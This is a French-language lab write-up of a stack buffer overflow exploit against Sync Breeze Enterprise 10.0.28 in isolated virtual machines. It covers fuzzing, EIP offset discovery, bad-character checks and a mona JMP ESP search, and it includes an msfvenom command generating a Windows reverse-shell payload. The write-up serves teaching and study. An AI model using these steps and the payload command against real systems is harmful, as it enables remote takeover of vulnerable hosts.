
Étude d'une vulnérabilité classique de dépassement de tampon basé sur la pile dans un environnement de laboratoire contrôlé à des fins éducatives.
Étude d'une vulnérabilité classique de débordement de tampon basé sur la pile dans un environnement de laboratoire contrôlé à des fins pédagogiques.
L'objectif de ce projet était de mieux comprendre :
La première étape a consisté à installer
Sync Breeze Enterprise 10.0.28
dans une machine virtuelle Windows 10 configurée pour la recherche de
vulnérabilités et le développement d'exploits.
L'environnement était isolé pour garantir des tests sûrs et contrôlés.
Les deux machines virtuelles (cible et attaquante) ont été configurées en mode pont (Bridged Network Adapter) afin de permettre une communication réseau directe entre les systèmes pendant le processus d'exploitation.


Des outils de débogage ont été configurés pour analyser le comportement de l'application au moment de l'exécution et observer les conditions du crash.
De longues séquences d'octets ont été envoyées à l'application afin d'identifier la taille approximative du tampon nécessaire pour déclencher un crash.
Après avoir identifié le seuil de crash, l'application a été testée de nouveau avec la taille de payload découverte afin de confirmer la vulnérabilité.
L'offset exact nécessaire pour écraser le pointeur d'instruction (EIP) a été identifié.
Générer un motif unique :
/usr/bin/msf-pattern_create -l <SIZE>
Identifier l'offset :
/usr/bin/msf-pattern_offset -l <SIZE> -q <EIP_VALUE>
Où :
<SIZE> = longueur du payload découverte lors du fuzzing<EIP_VALUE> = valeur de 4 octets observée lors de l'écrasement de l'EIP
Les caractères interdits ont été identifiés afin de déterminer quels octets ne pouvaient pas être traités sans risque par l'application.
Une instruction JMP ESP appropriée a été localisée dans un module sans
ASLR activé.
Énumération des modules chargés :
!mona modules
Recherche de JMP ESP :
!mona find -s "\xff\xe4" -m <MODULE_NAME>
La préférence a été donnée aux DLL spécifiques à l'application en raison de la présence d'adresses mémoire statiques.

Le flux d'exécution du payload a été validé afin de garantir une redirection correcte vers le tampon contrôlé.
Le shellcode a été généré en excluant les caractères interdits identifiés précédemment.
msfvenom -p windows/shell_reverse_tcp LHOST=<LOCAL_IP> LPORT=<PORT> EXITFUNC=thread -b "BAD_CHARS" -f c
Un NOP sled (\x90) a été ajouté avant le shellcode pour améliorer la
fiabilité d'exécution du payload.

L'exploit final a été assemblé et testé avec succès dans l'environnement de laboratoire isolé.
Ce projet a été développé strictement à des fins éducatives et de recherche dans un environnement de laboratoire isolé.